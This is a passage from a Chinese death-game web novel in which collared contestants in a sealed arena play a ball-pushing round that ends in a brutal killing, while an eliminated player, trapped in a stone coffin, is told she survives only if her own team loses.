此时金属柱子打开一扇门,从里面走出两名戴着特殊呼吸面罩的工作人员,走到昏迷的沈墨棠面前,在通讯设备里确认她是被淘汰玩家后,将她抬进柱子里……
……
嘀嘀。
嘀嘀。
嘀嘀。
不知道过了多久,电子提示音伴随着一阵舒缓的音乐响起,大厅内喷入一股特殊气体。
米米睁开迷糊的双眼,从地上醒来。头晕乏力,脖子有种异样的沉重感。
她抬手想要揉揉脖颈,却触碰到冰冷的硬物,令她瞬间清醒许多!
“呃……?”
狗环依旧在脖子上。
米米放眼望去,见到其他人也从昏迷的地方醒来,在场只有七个人。
还差一个人……
四处搜寻不到沈墨棠的踪迹,她才相信沈墨棠是真的被淘汰出局了……
她看了一眼蹲在角落里的宋白河,想起刚刚投票结束的时候,沈墨棠还在不死心地问宋白河“你该说的都说了吗?”
只可惜一切发生得太快了,估计沈墨棠自己都很难接受被淘汰出局的结果吧……
米米重新将目光放回大厅,相比起昏迷前,大厅中还有其他变化:那张高升的圆形餐桌被柱子顶起,柱体开有一道门,里面像是个电梯的模样——事实上,里面墙壁上就有多种语言写的“电梯”,密密麻麻。
在电梯门之上,出现一面约有60寸左右的显示屏,显示着浮夸但配色极其土气的四个大字——“彩虹节拍”。
“咱们……”
郑云霞刚想开口,大屏幕画面一转,变成一只仿佛煮熟了的红色螃蟹,同时一声尖锐的“哔——”的调频声打断她。
原先舒缓的音乐也荡然无存。
“喂、喂?……嘿嘿!我又回来啦!各位感觉还好吗?”
是主持人红蟹。
米米握紧拳头,指甲陷入掌心,抬起头看向屏幕,红蟹的每一次出场都会伴随着不幸,如果可以,她真想直接让这家伙闭麦。
其他人也都跟着抬着头,看向大厅中央的屏幕。
红蟹停顿了片刻,话锋一转:
“好啦!新的游戏马上开始了!相信大家肯定无比期待吧!”
“下面大家可以跟着我一起把手举起来!哈哈哈!!”
“好了,我们说说名为‘彩虹节拍’的游戏!呀呼!我可太喜欢这个名字了!”
“哈哈哈哈哈哈哈!!!!!”
不知为何,广播中突然爆发一阵莫名其妙的笑声,也不知道戳中了红蟹的什么笑点。
好一阵,主持人才慢慢停下来:
“咳咳……说重点啊,这是各位进入永夜城后的第一场游戏,我们也称之为‘新人战’!是各位表现的大好时机!呃……虽然我知道大家现在对永夜城很好奇,但是不要急,你们之后有的是时间慢慢了解这里!我们现在重点是嗯……这个游戏‘彩虹节拍’该怎么玩呢……对吧?其实很简单!游戏将分为六个回合进行,各位玩家在过程中只需要听从语音及灯光指示进行活动即可!”
“嗯……各位玩家请注意听清楚指示内容哦!如若违反任何指示,狗环就会断线!哈哈哈哈!!好了,游戏开始!”
今天红蟹的心情似乎很好。
广播随着“嗒”的一声,静了音。
此时,屏幕中已经跳转回“彩虹节拍”字样,然而虽说是“六个回合”,但画面底部却显示7个相同的黑色人形标识,不知道具体有何含意。
六个回合,七个玩家?莫非是有一个幸运玩家可以不用参加游戏?毕竟从之前的游戏来看,在永夜城里,“运气”也是重要的一部分。
大厅中出现片刻的沉默。
“呵?这是什么意思?”
似乎是感到太过荒诞,罗钧钧只能无奈地笑出来,吐槽道:“我怎么有点听不懂这游戏是在玩什么?”
“嘀——!”
罗钧钧话音刚落,广播突然再次响起,同样是合成音,却不是红蟹的语调。听着严肃而冰冷,毫无情感:
“请玩家【罗钧钧】在10秒倒计时结束前,单独、进入电梯、原地、待命,倒计时10、9、8、7……”
“啊?”
罗钧钧脖子上的“狗环”闪烁起红光!
离她不远的郑云霞迅速与她拉开距离。
“按照红蟹的说法,听从语音灯光指示进行活动。”曹彦旭伸手指向大厅中间的圆柱——此时电梯门的门框亮起了一圈绿色指示灯,还有箭头指向电梯内。
广播的倒计时猝不及防:“5、4、3……”
罗钧钧看了曹彦旭一眼,犹犹豫豫进入了电梯。
“2、1,倒计时结束……”
进入电梯,然后呢?罗钧钧站在电梯中,除了广播声
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停止,“狗环”的红灯不再闪烁,其他的一切都没有变化。
游戏结束了?
“彩虹节拍”就是这样的游戏?
“别乱动!”
曹彦旭叫住了试图走出电梯的罗钧钧,又提醒其他人:“呆在原地,其他人也别乱动!”
广播提示里说的是“单独进入电梯待命”,也就是说只有罗钧钧需要到电梯里去,其他人不能进入……至于“原地待命”的意思,就是她不能随便离开电梯。
违反任何一项,都有可能导致狗环断线爆炸!
这里空间狭小,要是狗环爆炸,其他人也够喝一壶的!万一不小心炸毁了什么需要用到的设备,那就更麻烦了,一群人都得困在这里等死。
“簌簌……”
此时,过了一会儿,狗环上的红光重新闪烁,电梯门才缓缓合上。
“现在是什么意思……”罗钧钧的声音逐渐听不到。
最终,电梯门彻底合上。
“她会被送到哪里?”欧阳浩宇觉得嘴唇有点发干,他舔了舔嘴唇,有些不安地看向曹彦旭。
曹彦旭张了张嘴,没有说话。
“快看电视……”
无需万梦提醒,大屏幕的画面变化吸引了所有人的目光。
“彩虹节拍”的土气字样消失,随即出现四个俯拍视角,各自占据1/4个屏幕。
镜头内是一个宛若古罗马斗兽场的场地,只不过占地并非椭圆形,而是正四边形,四个像是监控画面的镜头分处四角。
场地四周的石墙,各嵌有一个玉石质地的字,分别是青色的“东”、红色的“南”、白色的“西”、黑色的“北”。
此时,东、南、西、北四面石墙的底部,都打开了一道小门。
“唉,她在这里。”万梦拍了拍身前欧阳浩宇的背,指向大屏幕。
或许是因为近视的缘故,欧阳浩宇离大屏幕最近,身高也令其视线能更靠近屏幕——画面中,从“东门”走出的小小人影,正是罗钧钧。
大屏幕没有声音,大家只能看到罗钧钧像是遵照什么指示般,独自小步往前走,不停观察着四周。
万梦盯着屏幕:“除了罗钧钧,还有别人?”
除了“东门”的罗钧钧外,对面“北门”走出一个神色冷漠的锅盖头男人;出现在“西门”的则是一名怯生生的瘦弱女孩。
同样的,这两人脖子上也戴着闪烁着红光的“狗环”。
等了一会,郑云霞说出了画面中的信息:“南……没人?”
镜头里,洞开的“南门”里空荡荡的,始终没人走出来。
“呲呲呲……”大厅内的广播突然响起。
看镜头里三人的反应,应该是他们也听见了广播声。
是红蟹的语气:“欸……?看来南城出师不利呀,第一回合的玩家没能出战……是把脑浆留在南大厅里了吗?哈哈哈!”
!!!
听到这里,东大厅的几人都瞥了曹老师一眼。
如果刚才没有他及时让罗钧钧进电梯的话,是不是她的“狗环”已经爆炸了?就是红蟹所说的把脑浆留在大厅里了?
红蟹很快收起好奇心,继续说道:“那么,接下来就是彩虹节拍的第一回合——力大无穷!”
话音落下,大屏幕画面底部的七个黑色人形标识的第一个变成了红色,显示出“力大无穷”几个字。
“呃……罗姐?力大无穷?”欧阳浩宇有种不祥的预感。
27. 彩虹节拍-红2
在嵌有朱红色玉石般“南”字的大厅中。
满地的食物残渣被混杂着冷却的血肉,包括碎骨、脑浆、各种令人反胃的人体筋膜碎屑等……狗环爆炸的威力让这些东西撒了满地的同时,还飞溅到附近的墙上。
“啊啊啊啊啊啊!”、“啊啊啊啊啊呃呃呃!”
地上躺着半具无头尸体,爆炸还波及到离近的几人。
其中一个大叔被误伤了两根手指,正疼得呜哇大叫。
大屏幕画面中,七个人形标识的第一个同样变成了红色,显示“力大无穷”,可此时已经被打了叉,表示其“下线”了。
“唉呀妈呀!俺搁这劝半晌了,这大妹子死活不进电梯,这下好了,没开场就掉了一局,咋整嘛?早知道刚刚就先淘汰她了,留下来也没啥用……还不如换个人呢!”
一个梳着大背头的男人蹲坐在房门口,摊开两条满是刺青的花臂,又是叹气又是焦急。
在混乱的大厅另一边,有个正在清理自己病号服上人体残渣的粉头发青年,冲花臂男阴阳怪气:“嘿,我说,您是真没听见还装没听见?瞧您那样儿,人家姑娘说了也没瞅您有什么招儿啊!”
“她说啥了?俺咋没听见?俺就瞅见那妹子光动嘴皮子不出声……”花臂男撇了撇嘴死不承认,满脸无辜地挖了挖耳朵。
“全场就您嗓门儿大行吧……”
粉头发也懒得再掰扯,转而说道:“害,这姑娘也是,怎么的就听不懂人话呢?就说不听话会炸吧,偏不听!早知道先给这姑娘投出去,好歹能留个全尸。现在咱可好,这一地花花,恶心人……行吧,接下来甭废话了都,该谁谁自觉点呗!”
“你们瞅瞅这游戏,还力大无穷……开玩笑呢?盘口不得开个1比100呢?咋滴让三女的和北边出来那哥们比力气啊?别给整一个智力也是力吧!?”花臂男抬头看向大屏幕。
屏幕上正好是主持人介绍游戏规则:
“正如各位所见,彩虹节拍是一场由东、南、西、北四个阵营,共分6个回合进行的游戏。”
“为了让大家没那么无聊,每个回合都是不一样的小游戏哦!相信大家一定很期待吧!”
“每回合将由每个阵营内1至2名玩家参与进行,且只有一方能获得胜利。”
“游戏失败的玩家,身上的狗环将被强制断线——嘣!!哈哈哈!”
随着红蟹的介绍,画面中,东、西、北三个玩家都乖乖站在己方地面的一条红线后,没有踏足场地中央,似乎是受到某种“指示”。
虽然没能获取到游戏场地的声音,但能从监控画面中看到,场地中央的地面打开了一道巨大的“天窗”,像是直升机的机库天棚……从地底升起来的却不是直升机,而是一座像金字塔形状的东西。
小金字塔缓缓上升,足足两层楼的高度。
根据场上玩家的身高来看,这个金字塔一样的装置,底边至少有20米长,表面由涂着灰漆的金属板组成,四个方向的斜面平整光滑。
“触犯众神的西西弗斯遭受惩罚,被要求将一块巨石推上山顶。而由于那颗巨石太重,每每还没到山顶就滚下山去,西西弗斯只能一次次前功尽弃,周而复始,永无止境……”
红蟹叽里咕噜说了一串,才话锋一转:“所以现场的四名玩家……咳咳……三名玩家注意了!接下来你们将进行彩虹节拍第一回合的游戏。这个游戏名字呢,叫‘力大无穷’!”
TA说话的同时,“灰色金字塔”装置的四个斜边分别打开一道大门,从内推出一颗嵌在地面轨道上的“球”。
——直径一人高的大球。
四颗大球分别面向一方,颜色也各不相同。“东”阵营是绿色、“南”阵营是红色、“西”阵营是白色、“北”阵营是黑色。
四个斜边的大门迅速合上,重新变回光滑的斜面。
与此同时,金字塔的顶端,则向下凹陷,出现一个碗状的结构,或者说是“坑”,其直径恰好与地面上大球的直径相同。
红蟹继续道:“接下来,在10秒倒计时结束后,各位将被允许跨越红线,游戏也将正式开始!”
“游戏目标是要将己方阵营颜色的球,推上金字塔的顶端,落入球坑……记住哦!球一定要掉进球坑才行哦!”
“45分钟内,最先完成目标的玩家,将获得本回合的胜利!”
“若在45分钟内场上未能有玩家达成目标,则全员失败!”
“此外没有其他规则限制。”
“那么,倒计时10、9、8……”
红蟹的倒计时如此突然!
不仅是场上的三名玩家,包括各自阵营大厅内的其他玩家,也不由得揪起心来。
“真比体力!”欧阳浩宇意识到不对劲,说出同“南大厅”内玩家一样的困惑:“呃……让两个女的去和北队的那个……男的……比力气?”
“确实很奇怪。”
万梦扎起头发,瞥了眼身高体壮的欧阳浩宇,又看向仍蹲在墙角不说话的宋白河,接着看向眉头紧蹙的曹彦旭,最后抬头紧紧盯着大屏幕:“阵营内谁去进行游戏,是怎么选的?随机?”
随后她又将视线投向曹彦旭:“曹老师,你怎么看?”
曹彦旭没有回答,似乎有些头痛。万梦看到他抬起手揉着额头,看向屏幕的眼神十分复杂。
“这题我、宋白河任何一个上去都能稳赢,”欧阳浩宇指着北边的司徒雅:“罗姐怕是悬。”
“不知道是不是按团队积分算?罗姐输了,对我们有没有什么影响?”旁边的郑云霞有些担心,她专注看向屏幕:“主持人还特意说了‘没有其他限制规则’,也就是说,玩家采取什么方法运送球都可以……希望罗姐能出奇迹……”
万梦叹气:“出奇迹也要靠大力吧!除了卖力气推,还有什么办法能把球送到塔顶?”
……
“3、2、1……”
“游戏开始!!!!”
随着倒计时结束,场上三名玩家瞬间冲过红线,奔向场地中央!
同一时间,固定着大球的轨道也缩入地底,大球能够被滚动起来。
“呃!”
罗钧钧尝试着双手撑上球面,猛地一惊——这球比想象当中重得多!
她已经用了全身力气,竟然只让它缓缓滚动。
要知道这可是平地,还要推着这个球上接近45度的斜坡,有可能吗……
罗钧钧咬牙,加速将大球滚到金字塔底部。
本来她是想接着球体滚动的惯性将球带上斜坡,却因为球的质量实在太大,刚一上坡就倒滚回来!
罗钧钧被压退,踉跄两步,才吃力地将球稳定在金字塔底。
她抬头看向金字塔的塔顶。
刚才红蟹说了希腊神话“西西弗斯”的故事?确实,如果不能一口气将球推到顶端的话,就会前功尽弃,45分钟的时间很快会在这种无效又无望的行为中消耗殆尽!
可是规则说得很清楚,本回合【力大无穷】的目标,就是让己方的球率先落入金字塔顶的球坑——即最先攀登顶峰的玩家,将获得胜利,免于死亡。
她又看了一眼自己眼前的球,这球真的能靠自己推上去吗……
她突然有点羡慕被淘汰的沈墨棠,记忆中她们被催眠瓦斯喷晕过去后,就失去了知觉。早知道要玩这种游戏,输了还要被炸死,还不如直接被投票出局来得痛快!
“嗡轰隆隆隆!!!!!”
脚下忽然传出一声巨响!罗钧钧思绪中断,神情一愣,感受到脚底强烈的震颤。
地震了吗?
她一边稳住晃动的绿球,一边往身后看去。
可这一眼,让她差点叫出声来——身后的地面正在收缩!
从四面八方,往金字塔装置底下收缩,与四面高墙分离出一圈越来越大的鸿沟!从上方往下望去,移动地面和石墙之间深不见底,一旦坠落毫无生还可能。
罗钧钧做了个吞咽动作,发现嘴巴里干得一点水都没有。她于是骂了句从未说出口的脏话,心跳越来越快。
如果不赶紧把球推上去……或者说,往上推到一半掉下来,那球很可能直接滚到……深渊之中?
没有球,就会提前宣告失败了!
得先稳住球,先稳住。
游戏不可能什么都不给,肯定会有被自己忽视的地方,得在四周找找看,有没有辅助工具可以利用的……或者有没有一种可能,要放到球坑里的球,根本不是眼前这颗一人高的球?
罗钧钧先确认绿球靠在金字塔装置底部不会乱动,并确认地面收缩速度不会很快吞噬掉球,才尝试着观察其他地方。
左手边,“南”阵营的玩家应该是一开始就没能进得了游戏,直接淘汰,那颗红色的球此时因为地面收缩时的震动,正在兀自乱晃,看样子很快就要掉到悬崖下了。
罗钧钧踉踉跄跄,在地面震动中,绕过南边,去查看对面的“西”阵营:
“西”阵
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营的女孩比自己还要纤弱,身上穿的衣服是罗钧钧服务过的一个品牌方出的新款童装,极有可能还没成年。罗钧钧到她旁边的时候,她正拼尽全力推着身前白色的球,却同样是停在了金字塔下。
推不动,根本推不动。
女孩惊恐地回望身后不断收缩的地面,嘴里念叨着“不要、不要”,她已经尽了全力推球,可惜球一动不动。
“——呃啊!!”
罗钧钧正准备往金字塔的北面看看有什么线索,就听见那边响起一阵的咆哮!
“怎么了?”罗钧钧赶紧绕到金字塔装置北边。
“——呃!啊!——呃!啊!”
像是号子般的响亮呐喊在北侧斜坡声声响起,几乎盖过地面收缩的动静……罗钧钧的眼前出现令人难以相信的一幕——北阵营的玩家,正独自一人将那颗一人高的黑色球推上斜坡!
那是个留着锅盖头的男人,他双手撑着球面,双腿前后岔开,脸上青筋暴起,推动这颗球对他而言也是极为吃力。但他仍然在完成游戏,随着他每喊一声“呃啊”,就往上踩一步,同时手臂交替,将那重得离谱的大球送得更高!
此时已经接近顶端!
或许再有两步,就能让球“落袋为安”。
“不能让他赢!”罗钧钧很快做出正确的决定。
她手脚并用爬上北侧的斜坡。
虽然猜测真正的球可能不是这颗大球,但现在并没有找到相关的信息来佐证自己的猜测,不能冒这个险让其他人先进球!
金字塔表面的灰漆带有摩擦力,虽然斜面平整,却不会滑脚。
北边的司徒雅正专心推着球,没想到身旁突然窜出一个看上去四十多岁的女人,猛地逼近自己!
还没等反应过来,对方就已经爬到自己身边。
“对不起了!!”
两人先是对视了一眼,接着罗钧钧用尽全力出手!从侧面将黑球推向另一边!
——接受西西弗斯的惩罚吧!
撑着黑球的司徒雅大惊失色,但球的重心已经完全偏离,瞬间脱手,一路“隆隆隆”滚落地面,直直往场地周围那深不见底的悬崖滚去!
“呃哎!”
司徒雅几乎是下意识的本能反应,直冲下金字塔,以超乎常人的胆量跑到黑球另一侧,硬生生将已经惯性滚出的黑球停了下来!
他的后腿踩在收缩的地面边缘,浑身猛地爆发力量,再一次将球往回推来!
将球推落的罗钧钧大松一口气,本来是侧坐在斜坡上休息,见到司徒雅竟然那么顽强地挽回要坠落的黑球,不由得凝起脸色。
她站起身来,面对金字塔底部的司徒雅:“你先别急,这游戏肯定没那么简单!我们先聊聊……”
“简单?”
“你觉得把这个球推上去……很简单?”司徒雅没有抬头,沉沉的嗓音从黑球之后传出:“呵呵,我为什么要跟你聊?”
罗钧钧叹了口气:“我知道,这里只有你能完成这个游戏……但你别忘了,游戏规则说了,如果时间到了没有进球,我们就会一起死……”
“所以你来妨碍我?”
司徒雅将黑球停稳,终于现身抬起头,目光里像是一潭死水,毫无波澜看向罗钧钧。
前一秒还夸夸其谈的罗钧钧,瞬间闭上了嘴,身体往后一退:“你……”
司徒雅双腿发力,站着走上斜坡,始终直着上身。他锅盖头刘海下的双目看向罗钧钧:“你说得对,四十五分钟内没有把球推上去,我就死定了。”
他表情微变,眼底闪过一道尖锐的光,逼近罗钧钧。
“你……你要干嘛……?”罗钧钧本能感受到威胁,瞳孔微微颤动。
“你不是很懂规则吗?”司徒雅脸上竟然缓缓勾起一抹可怕的笑意:“我没你那么懂,但我很喜欢这种规则。”
“你!”
扑面而来的危险气息让罗钧钧后退两步,但已经晚了——司徒雅强壮的身躯拦在她身旁,牢牢攥住了她的手腕!
【没有其他规则限制】
“你别乱来!啊啊啊啊啊啊!放开我!放开我!!!”
罗钧钧在斜坡上挣扎起来,整个人失去平衡,骨碌碌滚下了金字塔!
“呃……!”
倒地的罗钧钧痛苦地蜷缩着,浑身酸痛,眼冒金星。
刚一睁眼,却发现噩梦般的可怕身影已经来到自己面前,沙包大的拳头迅速盖住了视野!
“死吧。”
28. 彩虹节拍-红3
“!!”
大屏幕上播放着虐杀的血腥画面,东大厅内鸦雀无声。
虽然之前的经历也都是“生死游戏”……但眼前,这种“人对人”最直接的□□杀,却是第一次见!
所有人都怔在原地。
恐惧涌上心头,想逃离却无能为力。
很快,画面中的罗钧钧不动了,她被司徒雅打得血肉模糊,惨不忍睹;而完成这一切的司徒雅,则像个没事人一样,用罗钧钧身上的病号服擦干净拳头。
在那个场地里,现场没有任何人能阻挡得了他。
随后,他自顾自再次将黑球推上坡,对于躲在白球后面哭泣的女孩,一眼都没看。
罗钧钧想得没错,这个游戏确实没那么简单——想要将这样重量、体积的球体推上45度斜坡,本来就不简单。
这样的难度足够筛选掉大部分人。
正如【跑步了解一下】,游戏本身就筛掉了那些体能太过羸弱的人。
正如【数字绞刑架】,游戏本身就筛掉了那些连两位数的加减运算都十分吃力的人。
正如【四人轮盘】,游戏本身就筛掉了那些倒霉的人。
正如投票环节,游戏本身就筛掉了那些不善交际的人……
游戏不可能有绝对的公平。
遭受神罚的西西弗斯,也无非是想骗过死神,奢求某种“人与神”之间的“公平”。
这个世界绝不公平。
……
“——呃!啊!”
“——呃!啊!”
场上,推球上坡的呐喊再次响起,这次没人能去阻拦司徒雅的脚步。
咚隆!
果然,随着黑球落入塔顶的球坑,也宣告了第一回合的结束。地面的收缩停止,开始“嗡嗡嗡”缓缓回扩,要再次接上四周的石墙绝壁。
“恭喜!恭喜恭喜!”
红蟹的声音第一时间出现。
“恭喜北阵营的【司徒雅】玩家获得第一回合【力大无穷】的胜利!”
“你将成功在新人战中存活,并获得一枚‘雀徽’奖励,同时为北城区夺下一胜场!”
“可喜可贺!可喜可贺!请回到您来时的电梯中。”
广播中,主持人的声音夸张至极,随即又语气一落:“不过,失败玩家可就没那么幸运了!请失败玩家在原地等待,我们将扣除您300分钟的狗环时长,作为失败惩罚……”
“……300分钟!”西阵营的女孩像是刚意识到游戏结束一样,她的双手都还没离开大球,脸上错愕又惊恐:“那……那这个项圈不就断线了……断线……断线就要死……不要……不要断线……不要死……我不要死!!!”
她猛地从白球后冲出来,直直朝司徒雅奔去!
她想抢先进入北边墙壁打开的电梯!
“呲呲呲呲呲呲呲!”
冲到一半,她脖子上的狗环忽然发出一阵电光,身体骤然僵直,随后昏迷瘫倒在地。
“咳咳……失败玩家不要乱跑哦……”
广播里的红蟹继续:“接下来请仍在大厅中的玩家们稍作等候,我们将公布第二回合游戏的主题,以及相应参赛的玩家,敬请期待!哈哈!”
说完,广播静音,大屏幕也跳回“彩虹节拍”四个大字。
……
几秒后,东大厅的屏幕上,已经能看到底部红色的人形标识被打上了叉——表示罗钧钧已经“下线”。
“比完了?”
欧阳浩宇将脸凑到屏幕上,游戏时长甚至不到半小时。
半小时前,罗姐还在跟自己商量要怎么搞副眼镜……他慢慢坐到地上,神色恍惚。
旁边郑云霞眯眼,露出一副微妙的表情:
既然【彩虹节拍】是团队战,那么应该是每回合积分制的游戏规则。罗钧钧这样随随便便就丢了一分,接下来的其他人可就得奋勇直追了。
这么看来,刚刚还不如让那姓沈的女孩试试呢?罗钧钧看上去挺厉害的一个人,没想到实际上场这么废物……
心里虽这么遗憾着,郑云霞表面上却仍在为罗钧钧打抱不平:“这游戏明显不公平!就直接比推球,北边选的人跟熊一样,有比的必要吗?”
这时候,大厅角落里的宋白河缓缓站起来,靠近米米小声道:“我有一种不太好的感觉……”
“嗯?”米米看了一眼曹彦旭,然后朝宋白河的方向迈一步,“什么感觉?”
“感觉……”宋白河盯着掉落地上的一块披萨饼,嘟囔了一句:“你觉不觉得,有些奇怪?为什么我们要先淘汰一个人,再随机这些游戏……”
“什么意思?”
“就是……会不会这游戏选人不是随机的?如果我们是……别人手中的棋子呢?”
宋白河话音未落,就发现曹彦旭正盯着自己。
曹老师的中分头下,一张脸上写满惊愕。
……
另一边,游戏场地内。
司徒雅走进电梯,电梯门合上,谁也不知道司徒雅会被送到哪里去。
瘫倒在场地上的西阵营女孩彻底绝望,奋力翻身,仰躺着面对四边形的天空。
东、南、西、北四面直插云霄的高墙,如果从正上方俯视这个游戏场地,可能会觉得这里像是一口巨大深井的井底。
而自己,只是一只被困死在井底的青蛙。
“嗯?”
她眯起眼睛,似乎发现高处有什么东西。
嘀嘀嘀嘀、嗒——脖子上的狗环倒计时迅速归零,正式断线——“嘭!”
顺着女孩临死前的视线,能发现在游戏场地上空,高于四台监控摄像机之上,东、南、西、北四面墙上,各有一个伸出建筑墙壁,像是露台般的结构。
这四个“露台”被封得死死的,密不透风,仿佛是四面石墙凸出的一个卯榫结构。
四个阵营的玩家,没有一个人知道,这四个小小的密闭空间内,都躺着一个人。
……
近一个小时前。
往前跑。
为什么跑?
身后无数双眼睛射在我的背影上,仿佛将我钉在原处。
无法回头,但却看得到那些人。
期待着,平静的海洋将掀起一阵巨浪,将一切卷入海底。
脚下一塌,是水,无边无际的水。
“咕嘟咕嘟咕嘟咕嘟……”
“呃!!!!咳咳!”
沈墨棠猛地吸了一口,气管被呛得生疼,疯狂咳嗽着,很快面红耳赤,身体颤抖。
“还活着?”她控制住无意识敲打的食指,让心跳频率慢下来,重新掌控身体和意识。
不知道是不是幻觉,或者确实是来到了死后的世界,总之视线中尽是雾蒙蒙的一片,黑暗而压抑。她试着撑起身体,能感受到身下是硬邦邦的平面,像是石头的触感,而……
“咚”……呃,疼!等下!脑袋敲到了硬物!
不对,上面是?
沈墨棠抬起手,触碰额头上方,也是一片冰冷生硬的平面。
前、后、左、右,手脚并用摸索了半天,都是这种石头触感!可以感受得出,这个小小的黑暗空间差不多就只够自己躺着,只能略微活动四肢。
就仿佛是……在一口大号的棺材里!?
活埋?!
沈墨棠不由得被脑中产生的念头吓了一跳,更加用力地踹了踹脚下,发出“咚咚咚”的闷响,许久她才意识到无济于事。
她记得自己被郑云霞为首的五个人投了淘汰票,按永夜城的说法,被淘汰的结果,不就是死亡吗?
我这是死了没有?
在黑暗中静静躺了片刻,手指无意间碰到右侧平面中央,有块地方摸起来带有微微的冰冷金属感。
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“呜——”
黑暗中亮起了微光。
沈墨棠扭转视线,查看身处的这个被微光照亮小小的空间,果然如刚才所判断——上、下、左、右、前、后统统是封闭的平整石头,活像个石棺。唯有小腿处上方的位置,有一圈像是淋浴喷头的小孔隙,或许这就是为什么她到现在还没有窒息的原因。
至于微光,则来源于右手边壁面靠上的位置,嵌着的一面金属触屏。
她微微侧着身子,看向触屏,画面中只显示着一只煮熟的红色螃蟹的图案,滑稽而恐怖。触屏似乎处在锁屏状态,不管怎么按都没反应。
“呼……”
沈墨棠微微叹了口气:“这鬼东西总不至于缠到地狱吧……”
有这个讨人厌的标志出现,至少证明自己还活着。
要么是真实,要么是做梦……沈墨棠伸手触碰到脖子上的“狗环”,内心百味交加——看来这里是现实。
“哎呀呀呀呀呀呀呀呀呀呀!”
突然间,触屏发出一阵合成音,跳脱的语气如此熟悉。“石棺”内充斥起主持人红蟹特有的腔调:“四位被淘汰者,真是不幸啊,如果不是因为时间有限,还真想采访一下各位心情如何呢!哈哈哈哈!”
四位被淘汰者?
沈墨棠脑海出现之前大厅中的“东”字,以及投票的机制……果然,所谓的“新人战”是阵营战,每个阵营都要进行“淘汰投票”,所以才会出现“四位被淘汰者”。
虽然当时还无法百分百确定,但沈墨棠相信自己的推断,只缺验证。
她再次观察了一圈封闭的小空间——四位?那另外三位呢?也在这样的地方吗?
“唔?”
她注意到,随着红蟹声音的出现,触屏的画面发生,显示【死者复苏】的字样。
“接下来,永夜城将进行名为‘彩虹节拍’的新人战,是一场由四个阵营的新人参加,共分六个回合的竞技游戏。而每个回合中,只有一方玩家能获胜,其余三方玩家将成为失败方。”
红蟹继续挑拨:
“呃……不论如何,这些都与四位被淘汰者无关了哈哈哈……毕竟你们已经被各自阵营抛弃,被认定为是‘最没用的成员’咯!”
“啊哈!你们只能被关在这暗无天日的活人水棺内,直到狗环时间耗尽,彻底断线的那一刻咯!”
活人水棺?
沈墨棠思考着这个称呼的含义,伸手摸了摸脖子上冰冷质感的狗环。蜷身借由触屏边缘的金属反光,能看见细长的狗环显示屏上红色的倒计时数字:
04:21:35
04:21:34
04:21:33
04:21:32
还剩四个多小时,狗环就要炸了。
也就是说,自己从在大厅中昏迷到现在,大概只经历了半个小时。
等死的过程果然无聊,才半个小时就感觉像是过了半辈子那么久。
沈墨棠暗自感叹。
但为什么还没死?
红蟹宛如拯救者的口吻:“哈!但是,红蟹我呢,这里有个好消息:永夜城决定,给四位玩家一个机会,希望各位好好把握住这个机会,争取回到永夜城!”
永夜城?沈墨棠黑暗中的目光一亮。
确实,自己还没有死……本以为被投票为“最没用的成员”,从“新人战”淘汰之后,将会直接身亡……但仔细想想,投票环节中从头到尾,主持人也只说过“被淘汰”,却从未提及淘汰后会如何。
被关到这个所谓的“活人水棺”中却没有直接处死的意思,就是还有机会活?
红蟹的声音突然在石棺中显得生机勃勃:“接下来,你们将同时进行另一个游戏——死者复苏!”
【死者复苏】
触屏上显示着字样,在黑暗逼仄的棺材里散发诡异微光。
29. 彩虹节拍-橙1
“嗒嗒嗒”、“嗒嗒嗒”。
左手手指不知何时又在石板上轻轻敲打着,伴随胸膛内“扑通扑通”的心跳加快。
是临死前的恐惧吗?
还是预感到不再无聊的兴奋?
“相信四位一定很兴奋吧!接下来的游戏游戏规则,会让各位更加兴奋!”
“彩虹节拍的每个回合游戏,都有相应的主题……而你们将根据主题名称以及人数要求,从各自阵营中选择玩家参加!记住,每个玩家仅能参加一个回合的游戏……”
嗯?
沈墨棠反应了一下——这个意思是——让被淘汰者来决定各自阵营参加【彩虹节拍】的玩家?
为什么要这样做?
“叮当……”
触屏发出短促悦耳的旋律,画面中的【死者复苏】字样消失,取而代之的是六个选项:
【1,力大无穷】出战玩家(待选)
【2,耳聪目明】出战玩家(待选)
【3,刀枪不入】出战玩家(待选)
【4,水火相容】出战玩家(待选、待选)
【5,无影无踪】出战玩家(待选)
【6,有问必答】出战玩家(待选)
底部还有东大厅内其余玩家的姓名:【郑云霞】、【万梦】、【欧阳浩宇】、【罗钧钧】、【宋白河】、【曹彦旭】、【米米】。
这就是新人战【彩虹节拍】游戏,六个回合的主题名称?
狭小的石室里,主持人的说明还在继续:“……被淘汰者只需要献祭出所在阵营的四场失败,便能达成‘死者复苏’,避免死亡,成功存活!”
沈墨棠心中一紧:
献祭?
“奥西里斯被兄弟塞特谋害,尸体被切成许多块……”红蟹极其诡异地笑了一阵,“最终是奥西里斯的妻子伊西斯将这些碎块找回,在阿努比斯的帮助下制作成世界上第一个木乃伊,并成功复活一个晚上。”
“当然,永夜城的复活仪式更加完善,只需要献祭4场失败就能彻底复活!”
或许是知道自己的用语很难让人理解,红蟹紧接着大笑解释:“哈哈哈!也就是说,死者复苏的胜利条件,在于你们是否能让自己所属的阵营,输掉至少四个回合!”
输……才能活?
“原来如此……”
埃及神话中,奥西里斯复活了一个晚上,与妻子伊西斯生下孩子荷鲁斯,成为向塞特复仇的筹码——而这场【死者复苏】的游戏,就是让被淘汰的人对曾经给自己投过票的人进行复仇!
沈墨棠迅速理清思路:
此时此刻,那七名参加新人战的玩家,需要在【彩虹节拍】六个回合的游戏中,努力获得胜利;至于被投票淘汰的她,则要想办法,令他们输掉至少四个回合,才能完成【死者复苏】存活下来!
她微微蹙眉,这种反人类的游戏机制,将游戏设计者的险恶用心展现得淋漓尽致!
“哈哈!相信在刚才30分钟的投票时间里,各位已经对那些无情无义之人有所了解……所以……此刻为了达成‘死者复苏’的献祭要求,你将如何安排他们的出战顺序呢?”红蟹煽风点火:
“好!接下来将给四位淘汰者5分钟的时间,进行‘彩虹节拍’六回合参战玩家的分配……若是5分钟后没做出选择,则将由系统随机排序哦!”
TA停顿了一下,狭小的棺材内弥漫着诡异的氛围。
黑暗中,有那么一瞬间,沈墨棠觉得自己仿佛真的已经化身为复仇亡魂。
只要暗中操控尘世的人完成献祭,就能将自己从这暗无天日的棺材中解封,苏生复活。
只要让阵营输就行了……让那些把自己淘汰的人输掉就行了……
红蟹:“……提醒四位不幸的玩家,这场‘死者复苏’的赌注是你们活命的最后机会!”
“哗啦啦啦啦!”
